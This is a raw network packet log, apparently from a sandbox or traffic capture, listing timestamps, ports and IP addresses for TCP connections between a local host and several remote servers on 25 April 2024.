Apr 25, 2024 15:30:39.409487009 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.410309076 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.410392046 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.410403967 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.411101103 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.411173105 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.411183119 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.411890984 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.411957026 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.411967039 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.412318945 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.412381887 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.412393093 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.412877083 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.412933111 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.412944078 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.413618088 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.413678885 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.413688898 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.414324045 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.414383888 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.414393902 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.415087938 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.415149927 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.415159941 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.415882111 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.415957928 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.415968895 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.416620970 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.416703939 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.416713953 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.417361021 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.417442083 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.417452097 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.418147087 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.418225050 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.418235064 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.418867111 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.418931007 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.418941021 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.419538975 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.419600964 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.419610023 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.420329094 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.420384884 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.420396090 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.421045065 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.421107054 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.421150923 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.421766996 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.421828032 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.421838045 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.422529936 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.422606945 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.422616959 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.423005104 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.423053980 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.423058987 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.423346996 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.423398972 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.423403978 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.423685074 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.423734903 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.423739910 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.423998117 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.424053907 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.424058914 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.424335003 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.424382925 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.424387932 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.424654007 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.424702883 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.424709082 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.424983025 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.425031900 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.425039053 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.425344944 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.425393105 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.425398111 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.425667048 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.425712109 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.425717115 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.425986052 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.426031113 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.426034927 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.426345110 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.426392078 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.426400900 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.426681995 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.426772118 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.426776886 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.426975965 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.427051067 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.427057028 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.427367926 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.427418947 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.427423954 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.427716970 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.427766085 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.427771091 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.428064108 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.428108931 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.428114891 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.428421974 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.428471088 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.428476095 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.428786993 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.428834915 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.428841114 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.429141998 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.429188013 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.429192066 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.429533005 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.429594040 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.429702044 CEST	49772	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:39.429714918 CEST	443	49772	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:39.433226109 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:30:39.433248997 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:39.433330059 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:30:39.433538914 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:30:39.433552027 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:39.658880949 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:39.659204960 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:30:39.659219980 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:39.659683943 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:39.660026073 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:30:39.660095930 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:39.660206079 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:30:39.704139948 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:39.928678989 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:39.928822994 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:39.928920984 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:30:39.929394960 CEST	49774	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:30:39.929420948 CEST	443	49774	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:40.060122013 CEST	49775	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:40.060188055 CEST	443	49775	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:40.060331106 CEST	49775	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:40.060580015 CEST	49775	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:40.060611963 CEST	443	49775	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:40.286228895 CEST	443	49775	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:40.286613941 CEST	49775	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:40.286629915 CEST	443	49775	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:40.287085056 CEST	443	49775	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:40.287501097 CEST	49775	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:40.287560940 CEST	49775	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:40.287566900 CEST	443	49775	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:40.287579060 CEST	443	49775	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:40.340369940 CEST	49775	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:40.561429977 CEST	443	49775	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:40.561517954 CEST	443	49775	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:40.561604023 CEST	49775	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:40.562832117 CEST	49775	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:40.562839031 CEST	443	49775	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:40.566891909 CEST	49776	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:30:40.566919088 CEST	443	49776	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:40.567044973 CEST	49776	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:30:40.567312002 CEST	49776	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:30:40.567328930 CEST	443	49776	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:40.569132090 CEST	49777	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:40.569154978 CEST	443	49777	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:40.569236994 CEST	49777	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:40.569422960 CEST	49777	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:40.569444895 CEST	443	49777	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:40.787373066 CEST	49678	443	192.168.2.16	20.189.173.10
Apr 25, 2024 15:30:40.790745974 CEST	443	49776	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:40.791084051 CEST	49776	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:30:40.791126013 CEST	443	49776	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:40.791590929 CEST	443	49776	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:40.791923046 CEST	49776	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:30:40.792007923 CEST	443	49776	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:40.792068005 CEST	49776	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:30:40.799866915 CEST	443	49777	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:40.800069094 CEST	49777	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:40.800080061 CEST	443	49777	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:40.801264048 CEST	443	49777	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:40.801558971 CEST	49777	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:40.801650047 CEST	49777	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:40.801656008 CEST	443	49777	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:40.801733971 CEST	443	49777	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:40.832134962 CEST	443	49776	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:40.851335049 CEST	49777	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:41.059739113 CEST	443	49776	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:41.059819937 CEST	443	49776	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:41.059942007 CEST	49776	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:30:41.060820103 CEST	49776	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:30:41.060862064 CEST	443	49776	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:41.069643974 CEST	443	49777	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.069834948 CEST	443	49777	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.069897890 CEST	49777	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:41.070476055 CEST	49777	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:41.070487022 CEST	443	49777	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.105371952 CEST	49778	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:41.105403900 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.105490923 CEST	49778	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:41.105740070 CEST	49778	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:41.105753899 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.329730034 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.330188036 CEST	49778	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:41.330214024 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.330672979 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.331506968 CEST	49778	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:41.331597090 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.332012892 CEST	49778	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:41.332158089 CEST	49778	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:41.332217932 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.332369089 CEST	49778	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:41.332386971 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.607234955 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.607341051 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.607382059 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.607418060 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.607422113 CEST	49778	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:41.607443094 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.607459068 CEST	49778	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:41.607753038 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.607789993 CEST	49778	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:41.607796907 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.607907057 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.607942104 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.607945919 CEST	49778	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:41.607954025 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.607990026 CEST	49778	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:41.607995033 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.608299017 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.608340025 CEST	49778	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:41.608345032 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.608560085 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.608601093 CEST	49778	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:41.608607054 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.608855963 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.608896017 CEST	49778	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:41.608901024 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.609091997 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.609128952 CEST	49778	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:41.609133959 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.609323978 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.609373093 CEST	49778	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:41.609378099 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.609584093 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.609632015 CEST	49778	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:41.609637976 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.609877110 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.609921932 CEST	49778	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:41.609927893 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.610171080 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.610214949 CEST	49778	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:41.610219955 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.610420942 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.610471010 CEST	49778	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:41.610476017 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.610543966 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.610591888 CEST	49778	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:41.610722065 CEST	49778	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:30:41.610733986 CEST	443	49778	104.17.2.184	192.168.2.16
Apr 25, 2024 15:30:41.614232063 CEST	49779	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:30:41.614272118 CEST	443	49779	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:41.614386082 CEST	49779	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:30:41.614603043 CEST	49779	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:30:41.614620924 CEST	443	49779	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:41.838845968 CEST	443	49779	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:41.839273930 CEST	49779	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:30:41.839288950 CEST	443	49779	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:41.839747906 CEST	443	49779	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:41.840164900 CEST	49779	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:30:41.840241909 CEST	443	49779	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:41.840363979 CEST	49779	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:30:41.888113022 CEST	443	49779	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:42.107889891 CEST	443	49779	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:42.108052015 CEST	443	49779	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:42.108253956 CEST	49779	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:30:42.108795881 CEST	49779	443	192.168.2.16	104.17.3.184
Apr 25, 2024 15:30:42.108818054 CEST	443	49779	104.17.3.184	192.168.2.16
Apr 25, 2024 15:30:45.279383898 CEST	49680	80	192.168.2.16	192.229.211.108
Apr 25, 2024 15:30:45.383877993 CEST	443	49759	5.172.176.24	192.168.2.16
Apr 25, 2024 15:30:45.384021044 CEST	443	49759	5.172.176.24	192.168.2.16
Apr 25, 2024 15:30:45.384088039 CEST	49759	443	192.168.2.16	5.172.176.24
Apr 25, 2024 15:30:46.624825001 CEST	49759	443	192.168.2.16	5.172.176.24
Apr 25, 2024 15:30:46.624851942 CEST	443	49759	5.172.176.24	192.168.2.16
Apr 25, 2024 15:30:56.162692070 CEST	49696	80	192.168.2.16	199.232.214.172
Apr 25, 2024 15:30:56.163007975 CEST	49698	80	192.168.2.16	199.232.214.172
Apr 25, 2024 15:30:56.272202015 CEST	80	49696	199.232.214.172	192.168.2.16
Apr 25, 2024 15:30:56.272257090 CEST	80	49696	199.232.214.172	192.168.2.16
Apr 25, 2024 15:30:56.272310019 CEST	80	49698	199.232.214.172	192.168.2.16
Apr 25, 2024 15:30:56.272349119 CEST	80	49698	199.232.214.172	192.168.2.16
Apr 25, 2024 15:30:56.272376060 CEST	49696	80	192.168.2.16	199.232.214.172
Apr 25, 2024 15:30:56.272430897 CEST	49698	80	192.168.2.16	199.232.214.172
Apr 25, 2024 15:30:57.626656055 CEST	49780	443	192.168.2.16	20.12.23.50
Apr 25, 2024 15:30:57.626718044 CEST	443	49780	20.12.23.50	192.168.2.16
Apr 25, 2024 15:30:57.626816034 CEST	49780	443	192.168.2.16	20.12.23.50
Apr 25, 2024 15:30:57.627265930 CEST	49780	443	192.168.2.16	20.12.23.50
Apr 25, 2024 15:30:57.627290964 CEST	443	49780	20.12.23.50	192.168.2.16
Apr 25, 2024 15:30:58.022310019 CEST	443	49780	20.12.23.50	192.168.2.16
Apr 25, 2024 15:30:58.022413969 CEST	49780	443	192.168.2.16	20.12.23.50
Apr 25, 2024 15:30:58.023905993 CEST	49780	443	192.168.2.16	20.12.23.50
Apr 25, 2024 15:30:58.023916006 CEST	443	49780	20.12.23.50	192.168.2.16
Apr 25, 2024 15:30:58.024321079 CEST	443	49780	20.12.23.50	192.168.2.16
Apr 25, 2024 15:30:58.026304007 CEST	49780	443	192.168.2.16	20.12.23.50
Apr 25, 2024 15:30:58.068124056 CEST	443	49780	20.12.23.50	192.168.2.16
Apr 25, 2024 15:30:58.392363071 CEST	443	49780	20.12.23.50	192.168.2.16
Apr 25, 2024 15:30:58.392390013 CEST	443	49780	20.12.23.50	192.168.2.16
Apr 25, 2024 15:30:58.392410994 CEST	443	49780	20.12.23.50	192.168.2.16
Apr 25, 2024 15:30:58.392523050 CEST	49780	443	192.168.2.16	20.12.23.50
Apr 25, 2024 15:30:58.392553091 CEST	443	49780	20.12.23.50	192.168.2.16
Apr 25, 2024 15:30:58.392580032 CEST	443	49780	20.12.23.50	192.168.2.16
Apr 25, 2024 15:30:58.392663002 CEST	49780	443	192.168.2.16	20.12.23.50
Apr 25, 2024 15:30:58.396351099 CEST	49780	443	192.168.2.16	20.12.23.50
Apr 25, 2024 15:30:58.396377087 CEST	443	49780	20.12.23.50	192.168.2.16
Apr 25, 2024 15:30:58.396404028 CEST	49780	443	192.168.2.16	20.12.23.50
Apr 25, 2024 15:30:58.396418095 CEST	443	49780	20.12.23.50	192.168.2.16
Apr 25, 2024 15:31:09.552325010 CEST	49782	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:31:09.552366972 CEST	443	49782	104.17.2.184	192.168.2.16
Apr 25, 2024 15:31:09.552481890 CEST	49782	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:31:09.552731991 CEST	49782	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:31:09.552748919 CEST	443	49782	104.17.2.184	192.168.2.16
Apr 25, 2024 15:31:09.779737949 CEST	443	49782	104.17.2.184	192.168.2.16
Apr 25, 2024 15:31:09.780072927 CEST	49782	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:31:09.780086040 CEST	443	49782	104.17.2.184	192.168.2.16
Apr 25, 2024 15:31:09.780384064 CEST	443	49782	104.17.2.184	192.168.2.16
Apr 25, 2024 15:31:09.780704975 CEST	49782	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:31:09.780762911 CEST	443	49782	104.17.2.184	192.168.2.16
Apr 25, 2024 15:31:09.780865908 CEST	49782	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:31:09.780942917 CEST	49782	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:31:09.780977011 CEST	443	49782	104.17.2.184	192.168.2.16
Apr 25, 2024 15:31:09.781058073 CEST	49782	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:31:09.781089067 CEST	443	49782	104.17.2.184	192.168.2.16
Apr 25, 2024 15:31:10.052701950 CEST	443	49782	104.17.2.184	192.168.2.16
Apr 25, 2024 15:31:10.052762032 CEST	443	49782	104.17.2.184	192.168.2.16
Apr 25, 2024 15:31:10.052784920 CEST	443	49782	104.17.2.184	192.168.2.16
Apr 25, 2024 15:31:10.052875042 CEST	443	49782	104.17.2.184	192.168.2.16
Apr 25, 2024 15:31:10.052891970 CEST	49782	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:31:10.052915096 CEST	443	49782	104.17.2.184	192.168.2.16
Apr 25, 2024 15:31:10.052932978 CEST	49782	443	192.168.2.16	104.17.2.184
Apr 25, 2024 15:31:10.052985907 CEST	443	49782	104.17.2.184	192.168.2.16
